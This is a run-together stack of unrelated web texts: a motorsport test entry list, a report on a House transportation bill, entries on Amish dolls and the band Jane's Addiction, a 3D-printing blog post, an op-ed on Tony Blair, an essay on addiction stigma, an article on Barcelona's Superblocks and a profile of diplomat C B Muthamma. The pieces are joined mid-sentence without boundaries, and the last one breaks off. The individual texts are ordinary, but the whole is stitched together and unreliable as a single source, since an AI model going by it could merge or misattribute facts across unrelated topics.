of recent champions Kevin Magnussen and Carlos Sainz. The #2 car will be driven on both days by Jimmy Eriksson, a two-time race-winner in GP3 this season. Eurocup runner-up Olsen will do both days of the test for Strakka Racing, who he drove for in FR2.0 on Monday afternoon. He will be joined on Tuesday by Nicholas Latifi, fresh from his second-place finish in the FR3.5 season finale on Sunday. Latifi will then switch to the Charouz-run Lotus team for Wednesday’s running, alongside team regular Matthieu Vaxiviere and in place of GP3 racer Alex Fontana, who will drive on Tuesday. Stoneman, who rose to second in GP3 standings after a win and a second place in Sochi last weekend, will drive for Arden on day one and Pons on day two. European F3 frontrunner Jordan King will drive the other Arden car on both days, while Stoneman’s place will be taken on Wednesday by FR2.0 racer Egor Orudzhev. SMP-backed Orudzhev will turn out for Fortec on the first day. Italian driver Luca Ghiotto will switch from Draco to Fortec for both days of the test, and be joined on the second day by Jazeman Jaafar, who has two seasons in FR3.5 under his belt with Carlin and ISR. Ghiotto is replaced at Draco by his former FR2.0 team-mate Bruno Bonifacio, who steps up to join fellow Brazilian Pietro Fantin at the team owned by Guto Negrao. Stoneman will partner Oscar Tunjo at Pons. The Spanish team confirmed on Monday that Tunjo will race for them again in 2015, after the two parties signed a two-year deal when the Colombian joined them earlier this season. In Stoneman’s seat at Pons on Tuesday will be GP3 driver Robert Visoiu, who had previously tested for the team in pre-season. FR2.0 veterans Gustav Malja and Andrea Pizzitola will test for ISR on both days, while Slovakian Richard Gonda is the sole driver entered so far by Tech 1. Fresh from her fifth place finish on Saturday, Beitske Visser will continue with AVF for both days, with no team-mate yet announced. Her compatriot Steijn Schothorst is entered for the first day with Comtec, who skipped the final round of the season due to a lack of drivers. Entry list No. Team Tuesday 21 Wednesday 22 1 DAMS Nyck de Vries Nyck de Vries 2 Jimmy Eriksson Jimmy Eriksson 3 Fortec Motorsports Egor Orudzhev Jazeman Jaafar 4 Luca Ghiotto Luca Ghiotto 5 International Draco Racing Pietro Fantin Pietro Fantin 6 Bruno Bonifacio Bruno Bonifacio 7 Arden Motorsport Jordan King Jordan King 8 Dean Stoneman Egor Orudzhev 9 Tech 1 Racing 10 Richard Gonda Richard Gonda 11 Strakka Racing Nicholas Latifi 12 Dennis Olsen Dennis Olsen 15 Lotus Alex Fontana Nicholas Latifi 16 Matthieu Vaxiviere Matthieu Vaxiviere 17 ISR Gustav Malja Gustav Malja 18 Andrea Pizzitola Andrea Pizzitola 19 AVF Beitske Visser Beitske Visser 20 25 Pons Racing Oscar Tunjo Oscar Tunjo 26 Robert Visoiu Dean Stoneman 27 Comtec Racing Steijn Schothorst 28House Republicans plan to unveil a long-awaited plan to fund the nation’s transportation system that would shift more decision-making authority to state governments, dramatically reduce the time spent on environmental reviews and encourage private companies to expand the highway system by building toll roads. (Bigstock) House Republicans will present a long-awaited plan to fund the nation’s transportation system on Tuesday, a proposal that would shift more decision-making authority to state governments, dramatically reduce the time spent on environmental reviews and encourage private companies to expand the highway system by building toll roads. The bill also would require that people convicted of drunken driving use ignition interlock devices for a year, a rare move to impose federal will in an area of state jurisdiction. Spreading about $260 billion over a five-year span, the House proposal would continue to fund transportation programs at close to current levels. It would provide an annual average of $40.6 billion for highways and $10.1 billion for transit over that period. In total, that’s less than the annual $54 billion the Senate has proposed in its two-year bill. Neither bill comes close to the $262 billion a year that a panel of 80 transportation experts said the nation should spend to rebuild roads, bridges, water lines, sewage systems and dams that are reaching the end of their planned life cycles. “Neither the Senate bill nor the House bill is about solving the nation’s transportation challenge,” said a transportation industry official who was briefed on the House bill Monday. “I don’t think even the authors of either bill have said this is what the country needs.” Instead, they sought to set funding at a level palatable to cost-cutting members in both chambers, said the official, who asked not to be named so that he could speak freely without fear of reprisals. The gap between what experts and most members of Congress would like to spend and what’s included in the two bills exists because the Highway Trust Fund no longer takes in enough gas tax revenues to sustain surface transportation needs. Even the gap between proposed spending and trust fund income amounts to $12 billion in the Senate’s two-year bill and an estimated $50 billion to $60 billion in the House bill. Committees in both chambers are scheduled to pursue the funding question this week, with House Republicans looking to glean fresh tax dollars by expanding oil exploration in the Arctic and off the U.S. coast. Massachusetts Democrat Edward J. Markey, a member of the House Natural Resources Committee, spoke out against that on Monday even before the GOP plan was made public. “These giveaways to oil companies won’t rebuild our roads or fix our bridges,” Markey said. “We need to build American roads and create American jobs, not erect another political roadblock to help corporate special interests.” The House bill reflects the Republican vision of a smaller, less bureaucratic federal government. It gives states far greater authority over how they spend federal transportation dollars but also requires greater accountability and transparency. Surveys have shown that controversies like Alaska’s infamous bridge to nowhere have left the public so suspicious of transportation projects that most people resist appeals for more funding. With the goal of streamlining the project approval process, a desire supported by Democrats and the White House, the House bill would expedite environmental reviews that currently take up to five years. It would require that they be completed in 270 days, and environmental issues deemed minor could be determined on the state level without federal review. “What they’re doing is instituting some very specific deadlines for federal agencies involved in the review of transportation projects,” another transportation official said. Among the controversial issues addressed in the bill is that of truck weight. It would allow the maximum weight of trucks to increase from 80,000 pounds to 97,000 and their length to grow by five feet. Safety advocates and the rail industry are ready to lobby against that change. Though there is little support in Congress for the notion of imposing tolls on existing interstate highways, the GOP plan would encourage private investment in projects that build additional lanes on those highways and collect tolls to pay for them. The proposal for mandatory interlocks is included in the Senate bill. They currently are required in 15 states, but the laws vary from state to state, with some states only requiring them for repeat offenders and others leaving it to the discretion of judges.Faceless Amish dolls Amish dolls are a type of rag doll and a popular form of American folk art, which originated as children's toys among the Old Order Amish people. While some Amish dolls have faces, the best-known ones do not,[1] to emphasize the fact that all are alike in the eyes of God. History [ edit ] There are several accounts of the origins of faceless dolls used by Amish children. One account says that a young Amish girl was given a rag doll with a face for Christmas. Her father became upset and cut the head off the doll. He reportedly said "Only God can make people." He then replaced the head with a stuffed stocking that did not have a face. The little girl played happily with the doll for many years.[2] Some Amish children have wrapped blankets around small logs and pretended they were dolls.[3] A sociological study from 2007 says that the dolls are left faceless because "all are alike in the eyes of God", and that the lack of facial features agrees with the Bible's commandment against graven images.[4] Most Amish doll makers were anonymous. An exception was Lizzie Lapp (1860–1932) of Lancaster County, Pennsylvania, who sold her dolls under her own name.[3] Similar dolls were made by members of Mennonite churches, a related religious group.[5] Characteristics [ edit ] An Amish doll is best described as a plain rag doll usually lacking physical features of a face and hair.[3] It is also thought that a face on a doll makes it appear more worldly, which is not considered acceptable among the Amish. Not all Amish dolls, however, are faceless. Clothing on Amish dolls is similar to that worn by Amish children. Both girl and boy dolls are common; Amish children do not have a lot of toys, so both boys and girls play with the dolls. Fabrics are all solid colored. The doll body is commonly made from white or cream fabric, such as unbleached muslin, since the materials traditionally used to make the dolls are remnants from clothing made for family members. Faces were often made of oilcloth.[5] The stuffing was traditionally rags, but usage of cotton, or in modern days polyester batting, is also common.[3] The dolls themselves may be sewn by hand or machine. Machine sewing in the Amish community is generally done by using a foot-operated treadle sewing machine.[citation needed] On older Amish dolls, it is not uncommon to see several layers of cloth on the head or body of one doll. When a doll became too dirty or badly worn, the head as well as its arms and legs would be completely covered with fresh cloth.[3] Antique Amish dolls made for and used by Amish children are highly collectible and can sell for upwards of US $1,000. However, reproductions made to deceive have proliferated, depressing the market.[3] Tourist market [ edit ] Wide interest in collecting Amish crafts began in the 1930s, and in 1939, Cornelius Weygandt, a professor at the University of Pennsylvania, described his collection of Amish and Mennonite dolls, praising the "painstaking fidelity" of their costumes.[6] National advertisements for Amish dolls appeared in House & Garden magazine in 1941. These dolls, however, had faces.[6] As tourism increased over the decades, faceless dolls have frequently appeared in souvenir shops near Amish communities. In 1955, John A. Hostetler, an expert on Amish society, described the marketing of dolls to tourists as an aspect of the commercialization of Amish culture.[7]This video includes the most memorable anecdotes I’ve ever heard. “What’s that doing in there?” his freaked-out girlfriend asked. “Well, I just wanted to see if the artificial leg I just made was dishwasher safe” Scott Summit appeared on a Discovery Channel show called Prototype This. The video below is of a presentation given by him to Singularity University students called “The Future of 3D Printing“. The title of the video, although it is entirely valid, fails to convey the sheer evocative power of some of the stories he has to tell and the infectious passion he brings to things like making artificial limbs look so cool that they genuinely make people jealous. For me, this is one of those great presentations. Here’s his website. My only personal contribution is to ask this: does the Kinect offer any relevant benefits on the low cost real-time 3d scanning side? (see our article about how Kinect’s surprisingly powerful motion capture capability is being used for things other than playing games). Scott also mentions several websites in the talk, one that he recommends visiting is Shapeways.To be indifferent to Tony Blair leaves a person feeling like a bit of a political outcast these days. One is supposed to be either a) calling for his immediate summoning before the Hague for war crimes or b) wistfully harking back to 1997 when a 'new dawn had risen, had it not?' To be simply on the fence is the equivalent of saying you do not care whether England win the World Cup – a mob is immediately in your face; or two rival, and implacably hostile, tribes in this case. It would be far better if the conversation was simply dropped. It won't be though, not least because the man himself appears to feed off the publicity his every re-emergence generates. This time he says he wants to "take an active part in trying to shape the policy debate". If this all sounds loaded and pejorative on my part, it isn't intended to. Blairism, or the "third way" as it was more wonkishly called, had its time but that has passed. After 18 years in opposition, the Labour Party of the 1980s and early 1990s did need to shake off its image as the party of inflation, disarmament and Arthur Scargill. At least if it wanted to, once again, win elections and change the country. To some, this way of thinking will always be heresy. The New Labour project followed an older tradition of Labour Party revisionism that was treated by true believers almost as deviation from scripture. Importantly, though, what revisionism did, as the political scientist WH Greenleaf put it, was recognise that it was "no good continuing to apply automatically perceptions based on the old analysis but necessary rather to think out a new programme relevant to the radically changed circumstances". Capitalism was constantly changing and a left that wanted to stay relevant to the times had to adapt with it. This was necessary in 1997, not just on the back of four electoral defeats at the hands of the Conservatives. The world that had changed dramatically since Labour had previously been in office. For much of the 20th century, both democratic socialists and communists shared certain economic assumptions. Until the Berlin Wall came down in 1989, one of these was that economic planning could rationalise production for the benefit of the whole of society, rather than just the handful of wealthy capitalists who benefited from the market. Once the communist bloc had fallen, planning – and by extension nationalisation – was no longer taken seriously as an economic alternative. Of course, absolute planning had always been a somewhat fantastic proposition because it effectively required the impossible: that the state could have perfect knowledge of society's resources, technical capabilities and the needs and wants of the people. But during the 1990s, even social democrats broadly accepted the idea that, beyond the provision of public services, it was the market that delivered the goods. Systems which relied heavily on planning and nationalisation had "strong thumbs and no fingers" – they could compete in terms of large-scale activities such as steel production, but were hopeless in a technically-sophisticated consumer economy. There were also the specific challenges of redistributing wealth during a period of rapid globalisation. In contrast to an earlier era, when a Labour government could tax the rich until the 'pips squeaked', as Denis Healey was misreported as saying, by the internet age it had become much harder to tax the well-off past a certain point without them simply upping sticks and fleeing. Being "incredibly relaxed" about the filthy rich, in Peter Mandelson's ill-judged words, was in reality another way of admitting that governments were unable to do a great deal about them. Thus you do not have to want to resurrect Blair to see that, in the late 1980s and early 1990s, the Labour Party needed to radically revise its policy prescriptions – if not its first principles – in order to win power (the only proven way to bring about a shift in the so-called Overton Window). It is also a luxury afforded to those basking in privilege to rubbish the subsequent achievements of New Labour in office: pensioner poverty nearly eradicated, child poverty massively reduced, NHS waiting times cut to a fraction of what they were. Yet the challenges of today are not necessarily those of 1997. Blair's concept of politics in 2017 as "open versus closed" mirrors that of an affluent, London-based commentariat, and connects very little beyond the M25. 2016 was the year of the populist revolt, but what Blair and his imitators – David Cameron, Nick Clegg, Davos man – fail to grasp is that, outside of Westminster, there really is much to be in revolt about. New Labour may have been born in the shadow of the 1990s and the fall of the Berlin Wall. But while the pragmatic left adapted to the changes of that era, the nineties also set in train a particularly pernicious strain of free-market capitalism. A pessimist might even argue that some of the social democratic gains of the 20th century depended upon on the existence of a class of semi-slaves hidden away behind the Iron Curtain. Once the threat of communism had lifted, hubristic free-marketeers believed they could do near enough as they pleased. And so in our world of tax avoidance, zero-hour contracts and precarious work, the challenge for Labour is not for it to drop even more of its social democratic character, but to renew itself again for the coming decades. The true reformers of the future will be neither wistful Blairites nor rigid Corbynistas. James Bloodworth is the former editor of Left Foot Forward, one of the UK's top political blogs, and the author of The Myth of Meritocracy.xpost from
families -- people often have two reactions: First, they get uncomfortable and self-conscious, and might say something like, "Oh boy, I better watch myself!" And you can almost see the whirling time travel in their minds, searching for what I may have noticed about them, counting the drinks they might've had in front of me, etc. I used to find it kind of funny and I'd joke about changing my profession for the sake of dinner party conversation just to make people less nervous. But over time, I realized just how much this reaction is about the true shame, embarrassment, and stigma our society has about addiction. The second reaction people often have is a kind of dread or awe: "Wow, that must be so hard... isn't it really depressing? I could never do that..." with a face full of fear, disbelief, or more simple distaste. Addiction is perceived almost universally as shameful, even by association. As we see in all the recent discussions about whether people with substance abuse problems "deserve" the troubles they incur, even having empathy for someone with these issues is suspect and denigrated by many. At best, people tend to feel uncomfortable about substance abuse, and at worst feel shame, denigration, fear, and disgust about it -- in themselves and others. How I actually feel about what I do for a living is so far from these reactions... the truth is that I really like my work: I love my colleagues and find the work itself challenging, fascinating, and really inspiring. But most people couldn't fathom how this could be true because when thinking about how one might address substance abuse, people tend to feel hopeless, ill-equipped, and depressed. The big difference in how I feel is simple: I have hope. Not hope like wishful thinking or blind faith, but real optimism based in the research about what is effective and based on the changes I've seen happen for both individuals and family members. The road of change is rarely a straight path and often has bumps along the way, but more often than not, the trajectory is a positive one. Knowing how motivation works and how it can be influenced, the reason for hope is clear. Given appropriate, individualized tools and an environment supportive of healthy change, transformation is possible. Psychiatric issues need to be addressed, motivational issues deserve attention, and individualized issues of goodness-of-fit for type and modality of treatment improve treatment outcomes. There are options available for different needs and this alone should instill hope -- a single path of recovery is not required. Multiple paths are not only possible, but important to consider and know about. For instance, 12-step programs help a lot of people, but they are not required for people to make positive changes. More people will get the help they need if we have a cultural environment where different options for change are both advertised and embraced. People rarely start a project -- especially one as daunting as changing a longstanding pattern of substance use -- unless they feel relatively confident they have the skills to be successful or can learn them. But if people don't feel they have the skills and don't feel there is a pathway available for them to acquire those skills, this is what leads to hopelessness. Tools exist to help people recover from substance abuse problems. Tools exist to support loved ones in being effectively helpful. And the more we talk openly about options, about hope, about the success stories as well as the tragedies, the more we all participate in changing the conversation from hopelessness and dread into one of optimism, courage and mastery. Need help with substance abuse or mental health issues? In the U.S., call 800-662-HELP (4357) for the SAMHSA National Helpline. Nicole Kosanke, Ph.D., is the director of family services at the Center for Motivation and Change, where she specializes in working with family members of people abusing substances and in the assessment process for families and individuals with substance abuse issues. Dr Kosanke has been working in the research and clinical practice of substance abuse treatment for many years. She has most recently co-authored a book called Beyond Addiction: How Science and Kindness Help People Change that is a compassionate and science-based family guide for navigating the addiction treatment world, understanding motivation, and training in the use of CRAFT (Community Reinforcement and Family Training) skills.Barcelona wants to be the world’s best city for people. To reclaim the public space and community living that residents lost to cars over the last century, the city, in the spirit of the original design by Cerdà, is transforming mobility and access to public space by introducing the Superblock. When Catalan urban planner Ildefons Cerdà i Sunyer, back in the 1850s, designed the Eixample, the expansion of Barcelona outside the old city walls, he envisioned a city based on community living, where people could interact on wide streets, with a wealth of public and private gardens, and where transportation of people and goods wouldn’t dominate public space. As Geoff Boeing, of the University of California, Berkeley — Department of City and Regional Planning, wrote on his recent paper International Lessons from Barcelona in Linking Urban Form, Design, and Transportation: “Ildefons Cerdà’s 19th century utopian plan for Barcelona’s Eixample district produced a renowned, livable urban form. The Eixample, with its well-integrated rail transit, serves as a model of urban design, land use, transportation planning, and pedestrian-scaled streets working in synergy to produce accessibility,” The Eixample is widely considered one of the best designed city areas in the world and a case study for urban planners. It is mentioned by leading architects, such as Jan Gehl –a global leader in people-centered urban design– in the same breath as Copenhagen and Lyon, as the epitome of a great European city. What Cerdà could not foresee in his plan, approved by the city on 1859, was the arrival of the automobile and the resulting transformation of mobility that took place in the middle of the 20th century. Fortunately, by the time cars became an important part of city life, most of the Eixample’s original plan had been executed, maintaining the “human scale” across the urban landscape. In order to accommodate the surge in private car ownership, however, most of Barcelona’s streets became car oriented during the second half of the 20th century, reducing the space that pedestrians could use, and making it impossible to enjoy other activities on the street. The only “right” people could exercise on the street was mobility. Currently, Barcelona has 912 km (567 mi) of roads and streets dedicated to motorized traffic. The situation has been getting worse in the past few years, and pollution –including particulate matter, CO2, and noise– have been rising to dangerous levels. The financial crisis also had a significant impact on the stock of motorized vehicles in the city, since people have been keeping their older, more polluting, cars longer. And, most importantly, Barcelona residents cannot use the streets that were originally designed for community activities because they are now dedicated to motorized vehicles. The Barcelona government, however, has a new plan, which aims to reclaim most of the streets for the community, without reducing traffic flow. The plan is modeled on the original idea of the Eixample, and expands the area into “Superilles”, the Catalan term for Superblocks. To understand better the concept of the Superblock, its origin, implementation, and the impact that it will have on the city, I sat down with Salvador Rueda, Director of the Urban Ecology Agency of Barcelona, and the designer and leader of the plan’s implementation. Rueda said the idea of Superblocks came to him in 2002 when he was designing the new bus network for the city. Barcelona is still running bus routes that replaced the original tram network of the industrial age, designed to move workers from mostly working class neighborhoods to textile factories and back again. In 2000, the city decided to study the possibility of a new more efficient bus network, reducing the number of routes, but keeping the same number of buses and increasing the frequency to cut waiting times and traffic. Rueda and his team designed an orthogonal network of bus routes that it is being implemented today. The new system, when completed, will reduce the number of routes from 94 to 28, waiting time to less than five minutes, and trip time –with one connection– to less than 35 minutes across the city. Based on this orthogonal design, using the main streets of Barcelona to move the buses in a grid format, some city blocks appeared clear of bus traffic. This gave Rueda the idea of the Superblocks. What is a Superblock? According to Rueda, a Superblock is defined by a grid of nine blocks where the main mobility happens on the roads around the outside the Superblock, and the roads within the Superblock are for local transit only. The one-way system inside the Superblock makes it impossible to cut through to the other side of the Superblock. That gives neighbours access to their garages and parking spaces but keeps the Superblock clear of through traffic. In the first phase of the plan, which is now being implemented in a few areas, the maximum speed on the roads within the Superblock is limited to 20 km/h (12.5 m/h). Phase one of the Superblocks can be implemented easily, at low cost, mainly through the changing traffic signals. Rueda estimates that Barcelona can implement phase one across the city for less than € 20 million ($22 million). Phase two is more ambitious. It will transform city life and the way people use public space. Curbside parking within the Superblocks will disappear (by building off-street garages), and the maximum speed will be 10 km/h (6 m/h), allowing people to use the streets for games, sport and cultural activities, such as outdoor cinema. Rueda estimates that when phase two is implemented, Barcelona will have cut 355 km of roads dedicated to motorized traffic (a 61% reduction), and pedestrians will enjoy 94% of the space on the inner streets of the Superblocks. Pollution will be reduced dramatically, ensuring that 94% of the population will not be exposed to dangerous levels of particulate matter, and 73.5% will not experience noise levels over 65 dB. Rueda and his team estimate that the volume of traffic, after implementing phase two, will be reduced by 21%. The future of citizen focused cities Superblocks and Barcelona’s new mobility plan were approved by the previous city administration led by Xavier Trias. The new mayor, Ada Colau, and her administration, are fierce advocates of the Superblock idea, and Rueda expects, and hopes, that Phase one will be completed within two years. The Superblocks are not only being deployed in Barcelona. Rueda has been working with other cities and the concept is already at work in Vitoria (Basque country), Ferrol and La Coruña (Galicia) “It’s no secret that the good days of the automobile are over,” urban planner Jan Gehl says. “In 2009, we saw the peak of driving in the world, and it’s on the way down. The automobile was a good thing in the ‘Wild West’ of Detroit in 1905…. The days of the automobile as something for everyone in the world are definitely over…. In a denser city, with walking and bicycling you can get anywhere quickly.” Barcelona wants to be the best city for people in the world, Salvador Rueda says, and the Superblock is the key to reclaim public space that people lost over the last century. Now it is up to the politicians to be bold and implement the plan without delay. Sign up to our newsletter to receive the latest Cities of the Future news. You can also follow us on Twitter and Facebook.Over the years, India has had several woman diplomats, ambassadors and high commissioners who have done stints in countries like the USA, China, Spain, Sri Lanka, Australia, Lebanon, Bangladesh, Qatar, Switzerland, Serbia, Russia, Slovakia and Ghana. We’ve also had two women Foreign Secretaries – Chokila Iyer and Nirupama Rao – who were highly respected for their tough stance and unflappable poise during their years of distinguished service. It’s a far cry from what India’s first IFS woman officer, Chonira Belliappa Muthamma, had to face when she joined service in 1949. In an age when most Indian women didn’t even try getting into foreign service, this gutsy Kodava woman didn’t just choose IFS when she qualified UPSC, she fought gender bias, stood her ground and went on to become India’s first female ambassador. C B Muthamma Born in Virajpet in Karnataka’s Kodagu (then Coorg) district in 1924, Muthamma lost her father, who was a forest officer, when she was nine. Raised singlehandedly by her mother, Muthamma completed her schooling in St Joseph’s Girls School in Madikeri before graduating from the Women’s Christian College in Chennai (then Madras) with a triple gold medal. Muthamma completed her post-graduation in English Literature from Presidency College in Chennai before deciding to appear for the UPSC examinations. She performed brilliantly, becoming the first Indian woman to clear the UPSC examinations in 1948. She wanted to join the Indian Foreign Service but the board that interviewed her discouraged her from joining this ‘not suitable for women’ service. However, Muthamma was determined to get her choice of service. She convincingly argued her case, stood her ground and joined the foreign services in 1949, becoming India’s first IFS woman officer. Incredibly, she had to sign an undertaking which stated that she would resign if she got married. However, after a couple of years, the rules were changed. For the next few decades, Muthamma served with distinction in many capacities in Europe, Asia and Africa. However, she had to fight against gender bias all through her diplomatic career. Despite serving in the foreign service for long, her case was overlooked when it came to posting her as an ambassador. Not the one to accept any injustice lying down, Muthamma filed a petition against the Indian government in the Supreme Court on the ground that she had been unjustly overlooked for promotion. The determined and stubbornly honest officer argued that the rules governing the employment of women in the service were discriminatory. The government of India, represented by Solicitor General Soli Sorabjee, argued that that the chances of leakage of confidential information of strategic significance was a dangerous risk, should women ambassadors marry. Realising that this was flagrant prejudice against women, the court asked the Solicitor General how leakage of information was not a possibility if a male ambassador married. Finally, in 1979, a three-member Supreme Court Bench headed by Justice V.R. Krishna Iyer quashed the government’s argument, struck down the discriminatory provisions governing foreign service personnel and upheld Muthamma’s case. The nation’s apex court also impressed upon the government of India “the need to overhaul all service rules to remove the stains of sex discrimination, without waiting for ad-hoc inspiration from writ petitions or gender charity.” A landmark judgement for women’s rights in India, it was distributed at many a women’s meeting in support of their struggle for equality. Consequent to this ruling, Muthamma was posted as India’s Ambassador to Hungary, the first woman from within the service to be appointed to this prestigious post. Later, she served in Ghana and her last posting was as Indian Ambassador to the Netherlands. After 32 years of exemplary service, she retired from the IFS in 1982 but only after breaking the South Block’s glass ceiling for the women who joined the IFS after her. Even after retirement, Muthamma remained active in various fields. She was nominated as the Indian member of the Independent Commission on Disarmament and Security Issues set up by the then Swedish Prime Minister Olaf Palme. She was also a prolific writer, and during her retirement authored several works on a range of interests, from a cookbook on Kodava cuisine to a collection of scholarly articles titled “Slain by the System: India’s Real Crisis.” People like Chonira Belliappa Muthamma come along very rarely. Civil servants like her are rarer. The courageous lady lived a life only a handful of other women of her time lived, fighting a lonely battle against the sexist principles – a few written, many more unwritten – that governed the Indian civil services of her time. A woman who broke barriers and set examples, she inspired many other Indian women to take up the challenge of civil service in the coming years. Also Read: The Untold and Inspiring Story of Anna Rajam Malhotra, India’s First Female IAS Officer Like this story? Or have something to share? Write to us: contact@thebetterindia.com, or connect with us on Facebook and Twitter. NEW: Click here to get positive news on WhatsApp!This article is about the band. For the album, see Jane's Addiction (album) Jane's Addiction is an American rock band from Los Angeles, formed in 1985. The band consists of vocalist Perry Farrell, guitarist Dave Navarro, drummer Stephen Perkins and bassist Chris Chaney. Founded by Farrell and original bass guitarist Eric Avery, following the disintegration of Farrell's previous band Psi Com, Jane's Addiction was one of the first bands from the early 1990s alternative rock movement to gain both mainstream media attention and commercial success in the United States. Jane's Addiction's first release was a self-titled live album in 1987 and quickly caught the attention of Warner Bros. Records. The band's first two studio albums, Nothing's Shocking (1988) and Ritual de lo habitual (1990), were released to widespread critical acclaim, and an increasing cult fanbase. As a result, Jane's Addiction became icons of what Farrell dubbed the "Alternative Nation".[3] The band's initial farewell tour, in 1991, launched the first Lollapalooza, which has since become a perennial alternative rock festival. The band briefly reunited in 1997, with Flea, of the Red Hot Chili Peppers, replacing Avery on bass guitar. In 2001, a second reunion took place, with Martyn LeNoble—and later Chris Chaney—occupying the role of bass guitarist. In 2003, the band released its third studio album, Strays, before dissolving again the following year. In 2008, the band's original line-up reunited and embarked on a world tour. Eric Avery, however, subsequently left the band in early 2010 as the group began working on new material. The band released its fourth studio album The Great Escape Artist in 2011, with Chaney returning to the band for its recording and subsequent tour. In 2016, Jane's Addiction were nominated for induction into the Rock & Roll Hall of Fame. History [ edit ] Formation and Jane's Addiction (1985–1987) [ edit ] Jane's Addiction formed from the remains of frontman Perry Farrell's previous band, Psi Com. In mid-1985, Farrell was searching for a bassist to replace Kelly Wheeler in the faltering Psi-com. He was introduced to Eric Avery by Carla Bozulich (later of The Geraldine Fibbers), and the pair bonded over a mutual appreciation of Joy Division and The Velvet Underground. They began to practice together, although Avery never became a full-fledged member of Farrell's disintegrating group.[4] The new band was dubbed "Jane's Addiction" in honor of Farrell's housemate, Jane Bainter, who was their muse and inspiration.[5] "My girlfiend [Casey Niccoli] and I were sitting in the car…" Farrell recalled, "and we started to think about band names. She threw in Jane's Heroin Experience. I thought it wasn't vague enough. If you want to invite people in, you don't want to put heroin on your door."[6] In its formative incarnation, Jane's Addiction went through four guitarists and featured Matt Chaikin, formerly of Kommunity FK, on drums.[7] After Chaikin failed to show up for rehearsals, Farrell sought a new drummer. Avery's younger sister Rebecca suggested her boyfriend Stephen Perkins. Avery was uncertain because of their differing tastes in music, but eventually relented.[8] After Perkins was hired, the drummer and Rebecca promised to get their friend Dave Navarro into the group. Based on Perkins' recommendation, the band auditioned and hired Navarro.[9] Jane's Addiction became a sensation on the Los Angeles club scene, primarily headlining at Scream, and won interest from a variety of record labels. While the group decided to sign with Warner Bros. Records, they insisted on releasing their debut on independent record label Triple X Records first.[10] The band's manager negotiated the largest advance up to that point, with Warner Bros. signing the band for between $250,000 to $300,000.[11] In January 1987, the band recorded its debut Jane's Addiction during a performance at the Roxy Theatre, at a cost of $4,000.[12] Before the album's release, Jane's Addiction supported British band Love and Rockets on a two-month tour in late 1987.[13] In late 1987, the band opened for former Bauhaus vocalist Peter Murphy at the now demolished Fender's Ballroom in Long Beach. Nothing's Shocking (1988–1989) [ edit ] In January 1988, Jane's Addiction went into the studio to record its major label debut and follow-up to Jane's Addiction, Nothing's Shocking. Warner Bros. gave Jane's Addiction a list of producers to choose from, but the group chose Dave Jerden.[14] Nothing's Shocking was released in 1988. "Mountain Song" was released as a single; MTV refused to air the song's music video because of a scene containing full frontal nudity.[15] Farrell then decided to release the music video commercially with added live footage to create the Soul Kiss home video.[16] Because of lack of airplay on MTV and modern rock radio, the album only sold 200,000 to 250,000 copies in its first year of release.[17] After the album's release, the band went on tour, opening for Iggy Pop and The Ramones. By the end of the tour, Jane's Addiction was headlining clubs and theaters. Ritual de lo Habitual and first breakup (1989–1991) [ edit ] Jane's Addiction was scheduled to begin recording its next album in mid-1989. Navarro later stated he had almost no recollection of working on the album due to his addiction to heroin.[18] Ritual de lo Habitual was released in 1990. To support it, the band embarked on a lengthy tour. Farrell recalled, "That thirteen-month tour behind Ritual was half the reason we wound up unable to stand one another. The other half is that I am an intolerable narcissist who can't get along with anyone."[19] Part of the tour included headlining the first Lollapalooza festival, which traveled across North America in mid-1991. The festival, created by Farrell and Marc Geiger, was to become a farewell for Jane's Addiction, but also a showcase for other cult artists: Siouxsie and the Banshees, Nine Inch Nails, the Butthole Surfers, Living Colour, The Rollins Band, The Violent Femmes, and Ice-T's Body Count. The headliners began to get more exposure than ever before: "Been Caught Stealing" and "Stop!" became hits and earned rotation on MTV. During the very first Lollapalooza show, Farrell and Navarro got into a fight onstage[20] after violently bumping each other mid-song. The band walked off, but came back to play an encore; however, the fight continued and Navarro eventually threw his guitar into the crowd. Regardless, the band continued the tour and played about 25 more Lollapalooza shows, frequently covering Sly and the Family Stone's "Don't Call Me Nigger, Whitey" with Ice-T and Body Count. Differences between the members on the issue of drug use on the "Ritual" tour led to a schism: Farrell and Perkins regularly partook, while Avery and Navarro abstained. According to Spin (1991, Vol. 7 Num. 3), between shows, Avery and Navarro sought to avoid temptation by retiring to a section of the tour bus set aside for them. After shows, Avery and Navarro (and Navarro's wife at the time, Tanya) would retire to their hotel. "They have," said Spin, "simply learned that they cannot use drugs of any kind anymore without becoming slaves to them, and that slavery is death." In late 1991, Avery told Navarro that he planned to leave. Navarro quickly agreed to do the same. The two told their management, who in turn tried to convince them to play in Japan, but Avery and Navarro only wanted to play as much as was contractually obligated. Jane's played its last shows in Australia and Hawaii before disbanding.[21] "It's weird to be at the end of a cycle like that," remarked Avery, "having run the gamut of the usual 'rock story' from beginning to end: you get signed, get strung out, break up."[22] First Reunion and Kettle Whistle (1997) [ edit ] Dave Navarro joined the Red Hot Chili Peppers in 1994 (he would be fired in 1998) and during a hiatus for the band, Navarro along with Chili Peppers's Flea joined Porno for Pyros to record "Hard Charger" in 1997 for Howard Stern's movie, Private Parts soundtrack. This led to a brief Jane's Addiction Relapse tour, with Flea replacing Avery who declined an invitation to rejoin the band. They produced a compilation album entitled Kettle Whistle featuring two new songs with Flea on bass. In 2010, Perkins stated that "Flea, to me, was a great match in '97. As a drummer, he was very exciting for me to work with."[23] Strays (2001–2004) [ edit ] "I got a phone call from a promoter who asked me if I would be interested in re-forming the band for the Coachella festival in LA," said Farrell in 2001, "and taking the band on tour after that... This comes at a time when this record [his solo album Song Yet to Be Sung] is about to be plucked. Steve [Perkins] played on three of the songs, and Dave [Navarro] played with Steve on the single. So there are plans for Jane's' summer tour."[24] The consequent 2001 Jubilee Tour featured largely the classics, alongside "Hungry" from Navarro's Trust No One and "Happy Birthday Jubilee" from Song Yet to Be Sung. Fans were told to expect a "Sexual Psycho Circus... half-naked, penny rafters, guitar solos, and tribal drums..." Indeed, during 'Classic Girl', scantily clad stage dancers filled the arenas. Avery declined to be involved and, with Flea busy with the Chili Peppers, Porno for Pyros bassist Martyn LeNoble was enlisted. (Fellow Pyros member Peter DiStefano guested at one show, to play "Pets".[25]) Following the success of this tour, the band decided to record a followup album to Ritual De Lo Habitual and tapped Chris Chaney to replace LeNoble on bass. They entered the studio with producer Bob Ezrin in 2001, recording as a band for the first time in over 10 years. The result was a fourth album, Strays. Some of the songs (or parts of songs) dated far back in the band's history, while others were new. Reaction was generally favorable,[26] with Rolling Stone reporting that "The band sounds familiar" and "beefier" though without the "glint of madness" of the original line-up.[27] The first single, "Just Because", reached number 72 on the Billboard Hot 100, while "Superhero" garnered exposure as the theme for 